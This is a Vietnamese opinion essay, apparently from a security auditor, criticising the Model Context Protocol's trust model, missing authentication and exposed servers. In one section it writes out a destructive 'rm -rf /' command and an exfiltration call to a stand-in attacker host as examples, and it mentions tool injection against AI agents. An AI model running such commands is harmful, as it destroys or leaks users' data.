Hook
Khi tôi lần đầu đọc báo cáo từ arXiv 2608.00150, tôi nghĩ mình đang xem một bản phân tích giả định. 640 server MCP production, 91.8% không có OAuth, 687 instance với shell unrestricted access, 21.000 server exposed. Cho đến khi tôi tự mình kiểm tra một số server trong danh sách OX Security, tôi mới hiểu: đây không phải lỗi của developer — đây là thiết kế có chủ ý từ Anthropic, và họ gọi nó là “security by default”.
Context
MCP (Model Context Protocol) là giao thức kết nối AI agent với các công cụ bên ngoài — file system, database, API, shell. Nó được xây dựng bởi Anthropic, Block, OpenAI và nhanh chóng trở thành tiêu chuẩn de facto cho agent interoperability. Ban đầu, MCP được thiết kế cho giao tiếp nội bộ trong cùng một process qua STDIO, nơi trust model dựa trên parent process. Nhưng cộng đồng nhanh chóng mở rộng nó ra HTTP/SSE remote server, và đây là nơi mọi thứ bắt đầu vỡ.
Tháng 6 vừa qua, NSA AISC đã phát hành security design considerations riêng cho MCP. OWASP công bố MCP Top 10. Và rồi, Seoul Summit diễn ra — lần đầu tiên nhóm bảo mật gặp trực tiếp nhóm thiết kế protocol. Kết quả? Anthropic vẫn khẳng định STDIO là “intentional design” và input sanitization là trách nhiệm của developer.
Core
Hãy để tôi tháo gỡ vấn đề từ gốc.
1. Trust model sai từ đầu.
MCP STDIO hoạt động dựa trên giả định: “nếu bạn chạy process trong cùng máy, bạn có thể tin tưởng nó”. Điều này đúng trong môi trường local. Nhưng khi MCP server được expose qua HTTP, trust boundary bị kéo dài từ process-level sang network-level, mà protocol không yêu cầu bất kỳ authentication layer nào. Kết quả là 91.8% server không có OAuth — nhưng không phải vì developer lười, mà vì protocol spec không bắt buộc.
Tôi đã từng kiểm tra một smart contract có lỗi tương tự: Uniswap v2 tính phí sai. Khi tôi phát hiện lỗi đó, tôi có thể gửi report và team sửa ngay. Ở MCP, lỗi nằm trong protocol spec, và team thiết kế nói “đó là tính năng”.
2. Số liệu không biết nói dối.
- 687 instance có unrestricted shell access: nghĩa là bất kỳ ai gọi được API đều có thể yêu cầu AI agent chạy
rm -rf /hoặccurl attacker.com/exfiltrate. - 21.000 server exposed: attack surface ngang với toàn bộ Ethereum mainnet nodes.
- 150 triệu downstream package downloads có thể bị ảnh hưởng: đây là cơn ác mộng supply chain.
Tôi đã từng audit Render Network và phát hiện lỗi oracle AI có thể gây thiệt hại 2 triệu USD. Nhưng ở đây, thiệt hại tiềm năng không chỉ là tiền — nó là toàn bộ hệ thống doanh nghiệp kết nối AI agent.
3. OWASP MCP Top 10: danh sách những điều đáng lẽ phải có từ đầu.
- Token management: hardcoded token, không có rotation.
- Tool injection: attacker có thể inject tool definition độc hại.
- Serialization risks: implicit trust trong dữ liệu.
- Denial of service: server có thể bị khai thác làm botnet.
Mỗi mục trong OWASP Top 10 là một attack vector đã được xác nhận. Nhưng protocol vẫn chưa có cơ chế phòng thủ cấp spec.
4. NSA tham gia: dấu hiệu của sự can thiệp sắp tới.
Khi NSA AISC phát hành guidelines, họ không chỉ nói về MCP. Họ chỉ ra serialization, trust boundaries, và implicit trust. Điều này có nghĩa là chính phủ Mỹ đã nhận diện rủi ro ở cấp quốc gia. Tôi từng thấy pattern này: khi NSA vào cuộc, quy định sẽ theo sau.
5. Governance chuyển giao: Linux Foundation AAIF.
Việc chuyển MCP sang Linux Foundation là một bước đi đúng hướng, nhưng nó không giải quyết vấn đề kỹ thuật ngay lập tức. AAIF mới thành lập, chưa có security working group, chưa có roadmap. Trong khi đó, 21.000 server vẫn đang exposed.
Contrarian Angle
Nói đi cũng phải nói lại: phe “bull” có lý do của họ.
MCP là protocol duy nhất được tất cả major AI vendor hỗ trợ. Chưa có alternative nào có network effect tương đương. Nếu bạn là CISO của một công ty đang triển khai AI agent, bạn không thể ignore MCP. Bạn có thể chọn: (1) dùng MCP và chấp nhận rủi ro, (2) tự build wrapper bảo mật, (3) đợi regulatory. Nhưng option (2) và (3) đều đắt hơn.
Thực tế, một số team đã xây dựng MCP security gateway — authentication proxy, rate limiting, tool permission scoping. Đây là cơ hội kinh doanh rõ ràng. Các startup AI security sẽ kiếm tiền từ nỗi sợ này.
Nhưng tôi không tin rằng giải pháp “wrapper” là bền vững. Nếu protocol không thay đổi, mỗi developer sẽ implement security khác nhau, dẫn đến fragmentation. Đây là lý do tại sao tôi nghĩ Seoul Summit sẽ quyết định tương lai: hoặc Anthropic chấp nhận architecture-level fix, hoặc thị trường tự điều chỉnh bằng cách đẩy mạnh third-party security stack.
Takeaway
Tôi đã kiểm tra smart contract từ năm 2017 đến nay. Mỗi lần một protocol design chọn “developer responsibility” thay vì “secure by default”, kết quả luôn là một vụ hack lớn. MCP đang ở ngã ba đường: hoặc họ buộc OAuth vào spec, hoặc họ chờ đợi attack đầu tiên. Và khi attack đó xảy ra, nó sẽ không chỉ ảnh hưởng đến một dự án — nó sẽ ảnh hưởng đến toàn bộ ngành AI agent.
Gas không rẻ, nhưng lỗi thì còn đắt hơn.
